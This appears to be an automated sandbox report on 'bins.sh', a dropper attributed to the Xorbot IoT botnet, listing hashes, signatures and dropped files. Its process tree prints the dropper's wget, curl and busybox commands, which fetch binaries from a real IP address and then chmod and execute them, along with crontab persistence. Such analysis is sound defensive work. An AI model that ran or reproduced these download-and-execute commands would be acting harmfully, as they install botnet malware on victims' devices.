Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    29-11-2024 20:32

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    4340829a5d2e9e132fdbbf479f59b654

  • SHA1

    3bb1f59713b036d0f6f68fa86ba9bfd3458ac30b

  • SHA256

    7755066b22c43471c2987cb914ace3631a6ac10c923904efafa6c9d5dc72867b

  • SHA512

    826ffde81e8616b9bc64473f04310122b3d039b50e63f362c092a61bb5bef855da20b7e3dc80efde1fe97549775d7d8f307f04d2b053e95d1f54d04df9201e0d

  • SSDEEP

    192:DrM/jjo+WmjyakT/WMBb7+W0yakT/7VY/jC:DrM/jj53MBL+/jC

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1488
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1489
        • /usr/bin/wget
          wget http://216.126.231.240/bins/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • Writes file to tmp directory
          PID:1490
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • Writes file to tmp directory
          PID:1506
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • Writes file to tmp directory
          PID:1507
        • /bin/chmod
          chmod 777 U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • File and Directory Permissions Modification
          PID:1508
        • /tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          ./U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • Executes dropped EXE
          PID:1509
        • /bin/rm
          rm U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
            PID:1511
          • /usr/bin/wget
            wget http://216.126.231.240/bins/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
            • Writes file to tmp directory
            PID:1512
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
            • Writes file to tmp directory
            PID:1521
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
            • Writes file to tmp directory
            PID:1522
          • /bin/chmod
            chmod 777 fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
            • File and Directory Permissions Modification
            PID:1523
          • /tmp/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            ./fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
            • Executes dropped EXE
            PID:1524
          • /bin/rm
            rm fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
              PID:1526
            • /usr/bin/wget
              wget http://216.126.231.240/bins/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              2⤵
              • Writes file to tmp directory
              PID:1527
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              2⤵
              • Writes file to tmp directory
              PID:1528
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              2⤵
              • Writes file to tmp directory
              PID:1529
            • /bin/chmod
              chmod 777 sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              2⤵
              • File and Directory Permissions Modification
              PID:1530
            • /tmp/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              ./sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              2⤵
              • Executes dropped EXE
              PID:1531
            • /bin/rm
              rm sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              2⤵
                PID:1533
              • /usr/bin/wget
                wget http://216.126.231.240/bins/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                2⤵
                • Writes file to tmp directory
                PID:1534
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                2⤵
                • Writes file to tmp directory
                PID:1535
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                2⤵
                • Writes file to tmp directory
                PID:1536
              • /bin/chmod
                chmod 777 hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                2⤵
                • File and Directory Permissions Modification
                PID:1537
              • /tmp/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                ./hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                2⤵
                • Executes dropped EXE
                PID:1538
              • /bin/rm
                rm hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                2⤵
                  PID:1540
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                  2⤵
                  • Writes file to tmp directory
                  PID:1541
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                  2⤵
                  • Writes file to tmp directory
                  PID:1542
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                  2⤵
                  • Writes file to tmp directory
                  PID:1543
                • /bin/chmod
                  chmod 777 89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1544
                • /tmp/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                  ./89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                  2⤵
                  • Executes dropped EXE
                  PID:1545
                • /bin/rm
                  rm 89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                  2⤵
                    PID:1547
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
                    2⤵
                    • Writes file to tmp directory
                    PID:1548
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
                    2⤵
                    • Writes file to tmp directory
                    PID:1549
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
                    2⤵
                    • Writes file to tmp directory
                    PID:1550
                  • /bin/chmod
                    chmod 777 S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1551
                  • /tmp/S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
                    ./S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:1552
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:1554
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:1555
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:1556
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1557
                        • /bin/rm
                          rm S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
                          2⤵
                            PID:1559
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/v2XPWCwCkcniMXFBUeqhqnoNQGGugobCDu
                            2⤵
                              PID:1562

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny

                            Filesize

                            151KB

                            MD5

                            6c583043d91c55aa470c08c87058e917

                            SHA1

                            abf65a5b9bba69980278ad09356e53de8bb89439

                            SHA256

                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                            SHA512

                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                          • /tmp/S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga

                            Filesize

                            112KB

                            MD5

                            05d7857dcead18bbd86d2935f591873c

                            SHA1

                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                            SHA256

                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                            SHA512

                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          • /tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT

                            Filesize

                            111KB

                            MD5

                            701e7a55a4f3650f5feee92a9860e5fc

                            SHA1

                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                            SHA256

                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                            SHA512

                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                          • /tmp/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k

                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          • /tmp/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO

                            Filesize

                            127KB

                            MD5

                            89077b7bd4bcafca7713be43635c4862

                            SHA1

                            fc02edb8fba29ea8ee99e6157ef8560334530052

                            SHA256

                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                            SHA512

                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                          • /tmp/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN

                            Filesize

                            117KB

                            MD5

                            849fa04ef88a8e8de32cb2e8538de5fe

                            SHA1

                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                            SHA256

                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                            SHA512

                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                          • /var/spool/cron/crontabs/tmp.sdQycS

                            Filesize

                            210B

                            MD5

                            139a7329dca225ca66d5d48828116ad4

                            SHA1

                            95d22f24f2e38dd68904bad690ea1634a0155d5f

                            SHA256

                            ca66c6d83a1a1201429e76082bf3dc2eb8b7707257b0bd7c8444cbda823b2d05

                            SHA512

                            3f872e36af70a3079a04f9cb01a7fc3265b5ff539445ba9c40153f62149020b2a2a26b9b4f26de5537149473591c8bc5fba2e5436ab6a0e1592c1d90ca0f1a92